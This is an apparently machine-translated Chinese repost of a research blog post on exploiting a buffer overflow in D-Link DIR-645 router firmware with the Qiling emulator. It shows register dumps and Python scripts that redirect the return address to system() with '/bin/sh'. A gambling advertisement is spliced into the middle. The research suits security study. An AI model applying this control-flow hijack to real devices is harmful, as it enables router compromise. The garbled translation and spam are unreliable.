使用Qiling剖析Dlink DIR-645中的缓冲区溢出(part II)
原文链接:https://github.com/nahueldsanchez/blogpost_qiling_dlink_2
先容
在研究学习使用qiling
框架对路由器固件举行剖析的历程中,在先知发现了有先辈搬运并翻译了这篇文章的第一部门,第二部门个人感受也是很精彩,实验翻译一下。
目录
- 组织exp
- 使系统挪用能够“事情”
- 组织能够在
qiling
框架下事情的exp- 领会MIPS挪用约定的事情原理
- 使用ROP组织exp
- 参考资料
组织exp
通过阅读第一部门,我们在之前的步骤中确定了破绽的位置,若何去触发这个破绽以及造成他的根本原因,我们基于之前的事情,知道了程序 将会在 0x0040c594
这个地址触发溃逃,既函数hedwig_main
:
...
0040c58c c4 04 b1 8f lw s1,param_12(sp)
0040c590 c0 04 b0 8f lw s0,param_11(sp)
0040c594 08 00 e0 03 jr ra
...
我们也知道我们要笼罩客栈中的许多内存,而且我们控制了大量的寄存器:
...
[-] s0 : 0x41414141
[-] s1 : 0x41414141
[-] s2 : 0x41414141
[-] s3 : 0x41414141
[-] s4 : 0x41414141
[-] s5 : 0x41414141
[-] s6 : 0x41414141
[-] s7 : 0x41414141
[-] t8 : 0x8
[-] t9 : 0x0
[-] k0 : 0x0
[-] k1 : 0x0
[-] gp : 0x43b6d0
[-] sp : 0x7ff3c608
[-] s8 : 0x41414141
[-] ra : 0x41414141
[-] status : 0x0
[-] lo : 0x0
[-] hi : 0x0
[-] badvaddr : 0x0
[-] cause : 0x0
[-] pc : 0x41414140
...
考虑到这种情形,我的想法是用system
函数的地址笼罩返回地址,然后根据需要设置参数。我知道这是有用的,由于Metasploit中包罗的exp就是云云。
为了磨练我的假设,第一步,我决议脱节所有复杂性并模拟(simulate)这个攻击历程。我的想法是分配一些内存,把我们要执行的下令写在这里,然后通过 改变返回地址指向到 system
函数以及把写有下令的内存地址加载到执行system
函数所需的寄存器中。
听起来有很大的事情量,让我们来测试一下:
,,欢迎进入Allbet Gmaing代理(Allbet Game):www.aLLbetgame.us,欧博官网是欧博集团的官方网站。欧博官网开放Allbet注册、Allbe代理、Allbet电脑客户端、Allbet手机版下载等业务。
...
RETURN_CORRUPTED_STACK = 0x0040c594 , 在上一篇文章中通过开启调试连接到gdb获得的初始化断点
QILING_SYSTEM = 0x0041eb50 , x/10i system 获得 system function addr
def simulate_exploitation(ql):
ql.nprint("** at simulate_exploitation **")
cmd = ql.mem.map_anywhere(20) , Qiling 分配20字节的块给我们并返回其地址
, 我们把我们的下令写在这里
ql.mem.string(command, "/bin/sh") , We write our string
ql.reg.a0 = command , 把 register a0 设置为我们下令的地址
ql.reg.ra = QILING_SYSTEM , 最后修改 $ra register
...
ql.hook_address(simulate_exploit, RETURN_CORRUPTED_STACK) , 当运行到ret的时刻回调到 hedwig_main
ql.run()
正如你将看到的,模拟这个历程异常简朴,让我们看看发生了什么:
...
** at simulate_exploitation **
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x12, 0x7ff3c430, = 0x7ff3c450) = 0
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
rt_sigaction(0x3, 0x7ff3c430, = 0x7ff3c450) = 0
rt_sigaction(0x2, 0x7ff3c430, = 0x7ff3c450) = 0
[!] Syscall ERROR: ql_syscall_wait4 DEBUG: [Errno 10] No child processes
ChildProcessError: [Errno 10] No child processes
...
看起来似乎生效了,但感受这里发生了什么问题。我想是当我们要执行到system
函数的某些时刻,system
实验挪用fork syscall
,但这种方式是qiling
不支持的。
为了验证我的想法我做了两件事:第一,我给 system
设置了一个断点,检查是否在某个时刻触发了这个断点;其次,为了更好的展示,我修改了system
函数执行的下令为exit
,让我们看一下又发生了什么:
def simulate_exploitation(ql):
...
ql.reg.ra = QILING_EXIT , 最后修改 $ra register
运行这个poc:
...
** at simulate_exploitation **
write(1,7756d038,114) = 0
HTTP/1.1 200 OK
Content-Type: text/xml
<hedwig><result>FAILED</result><message>no xml data.</message></hedwig>exit(4431872) = 4431872
...
好多了!如我们所见,程序通过挪用正常退出exit()
。我们可以一定,行使破绽的想法是可行的!让我们起劲将模拟的转换为真实的器械。
使系统挪用能够“事情”
在阅读我在上一步中所做的事情时,我发现我直接行使exit
当shellcode是一个很偷懒的行为。我应该加倍起劲地实验第一个想法去挪用系统函数。基于此,我将更深入地研究若何举行这项事情。
我的第一个想法是检查为什么收到此错误:
[!] 0x77507144: syscall ql_syscall_fork number = 0xfa2(4002) not implemented
我查看了syscall 0xfa2的类型,发现syscall 0xfa2是fork。有了这些信息,我使用了Qiling的扩展系统挪用的能力,如下所示:
MIPS_FORK_SYSCALL = 0xfa2
...
, Code copied from lib/qiling/os/posix/syscall/unistd.py:380
def hook_fork(ql, *args, **kw):
pid = os.fork()
if pid == 0:
ql.os.child_processes = True
ql.dprint (0, "[+] vfork(): is this a child process: %r" % (ql.os.child_processes))
regreturn = 0
if ql.os.thread_management != None:
ql.os.thread_management.cur_thread.set_thread_log_file(ql.log_dir)
else:
if ql.log_split:
_logger = ql.log_file_fd
_logger = ql_setup_logging_file(ql.output, ql.log_file , _logger)
_logger_name = str(len(logging.root.manager.loggerDict))
_logger = ql_setup_logging_file(ql.output, '_'.join((ql.log_file, _logger_name)))
ql.log_file_fd = _logger
else:
regreturn = pid
if ql.os.thread_management != None:
ql.emu_stop()
...
ql.set_syscall(MIPS_FORK_SYSCALL, hook_fork)
登录并阅读全文
网友评论
最新评论